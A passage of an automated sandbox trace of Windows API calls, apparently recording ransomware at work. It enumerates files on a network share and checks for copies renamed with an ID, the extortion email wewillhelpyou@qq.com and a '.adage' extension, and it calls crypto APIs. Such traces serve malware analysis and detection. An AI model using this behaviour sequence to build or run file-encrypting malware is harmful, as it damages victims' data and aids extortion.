(lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YsUSMSG.odt" (normalized: "\\\\192.168.0.1\\documents\\ysusmsg.odt")) returned 0x80 [0141.252] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YsUSMSG.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ysusmsg.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.252] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YsUSMSG.odt" (normalized: "\\\\192.168.0.1\\documents\\ysusmsg.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.292] ResetEvent (hEvent=0x224) returned 1 [0141.292] SetEvent (hEvent=0x228) returned 1 [0141.292] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x34efef0 | out: pbBuffer=0x34efef0) returned 1 [0141.292] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qkovu43RZ2n.odt" (normalized: "\\\\192.168.0.1\\documents\\qkovu43rz2n.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0141.302] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x34efe88 | out: lpFileSize=0x34efe88*=86957) returned 1 [0141.302] CloseHandle (hObject=0x2b4) returned 1 [0141.302] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qkovu43RZ2n.odt" (normalized: "\\\\192.168.0.1\\documents\\qkovu43rz2n.odt")) returned 0x80 [0141.303] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qkovu43RZ2n.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\qkovu43rz2n.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.303] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qkovu43RZ2n.odt" (normalized: "\\\\192.168.0.1\\documents\\qkovu43rz2n.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.780] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x50) returned 0x1d5460 [0141.780] CryptImportKey (in: hProv=0x8450c0, pbData=0x34efe30*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34efe98 | out: phKey=0x34efe98*=0x8717e0) returned 1 [0141.780] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x34efe80, dwFlags=0x0) returned 1 [0141.780] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5460, pdwDataLen=0x34efe4c | out: pbData=0x1d5460, pdwDataLen=0x34efe4c) returned 1 [0141.780] CryptDestroyKey (hKey=0x8717e0) returned 1 [0141.780] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x753b0000 [0141.780] GetProcAddress (hModule=0x753b0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x753dd638 [0141.780] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0141.781] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5460 | out: hHeap=0x1d0000) returned 1 [0141.781] SetEvent (hEvent=0x224) returned 1 [0141.781] SetEvent (hEvent=0x104) returned 1 [0141.781] SetEvent (hEvent=0x228) returned 1 [0141.792] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x3750020 | out: hHeap=0x1d0000) returned 1 [0141.792] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167130 | out: hHeap=0x1d0000) returned 1 [0141.793] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x21e0438 | out: hHeap=0x1d0000) returned 1 [0141.794] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x21f0440 | out: hHeap=0x1d0000) returned 1 Thread: id = 130 os_tid = 0x560 [0139.619] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x2200448 [0139.619] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x2210450 [0139.619] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x28) returned 0x2167160 [0139.620] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x110102) returned 0x3870020 [0139.620] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x50) returned 0x1d5430 [0139.620] CryptImportKey (in: hProv=0x8450c0, pbData=0x374f6e0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x374f748 | out: phKey=0x374f748*=0x871860) returned 1 [0139.620] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x374f730, dwFlags=0x0) returned 1 [0139.620] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5430, pdwDataLen=0x374f6fc | out: pbData=0x1d5430, pdwDataLen=0x374f6fc) returned 1 [0139.620] CryptDestroyKey (hKey=0x871860) returned 1 [0139.620] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x753b0000 [0139.620] GetProcAddress (hModule=0x753b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x753dd620 [0139.621] Wow64DisableWow64FsRedirection (in: OldValue=0x374f798 | out: OldValue=0x374f798*=0x0) returned 1 [0139.621] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5430 | out: hHeap=0x1d0000) returned 1 [0139.621] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.621] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.621] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.622] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.622] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.622] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.622] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.622] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.622] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.622] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.622] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.622] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.622] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.622] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.623] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.623] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.623] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.623] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.623] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.623] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.623] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.623] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.623] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.623] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.623] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.624] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.624] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.624] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.624] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.624] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.624] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.624] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.624] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.624] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.624] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.624] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.625] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.625] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.625] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.625] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.625] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.625] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.625] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.625] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.625] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.625] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.626] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.626] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.626] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.626] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.626] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.626] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.626] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.626] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.626] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.626] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.626] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.627] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.627] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.627] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.627] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.627] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.627] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.627] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.627] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.627] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.633] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.633] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.633] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.633] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.633] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.633] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.633] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.633] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.633] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.633] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.633] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.634] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.634] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.634] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.634] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.634] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.634] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.634] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.634] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.634] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.634] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.636] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.636] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.636] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.636] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.636] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.636] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.636] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.636] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.636] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.636] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.636] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.636] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.637] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.637] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.637] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.637] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.637] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.637] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.637] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.637] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.637] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.637] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.637] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.638] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.638] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.638] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.638] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.638] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.638] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.639] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.639] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.639] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.639] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.639] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.639] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.639] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.639] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.639] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.639] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.641] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.641] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.641] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.641] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.641] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.641] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.641] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.641] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.641] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.641] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.643] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.643] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.643] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.643] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.643] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.643] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.643] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.643] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.643] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.643] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.643] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.643] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.644] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.644] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.644] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.644] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.644] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.644] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.644] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.644] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.644] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.644] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.644] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.645] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.645] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.645] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.645] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.645] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.645] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.645] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.645] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.645] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.645] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.646] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.646] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.646] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.646] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.646] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.646] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.646] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.646] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.646] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.647] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.647] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.647] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.647] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.647] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.647] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.647] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.647] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.647] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.647] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.647] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.648] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.648] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.648] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.648] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.648] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.648] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.648] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.648] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.649] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.649] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.649] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.649] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.649] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.649] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.649] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.649] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.649] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.650] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.650] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.650] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.650] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.650] WaitForSingleObject (hHandle=0x29c, 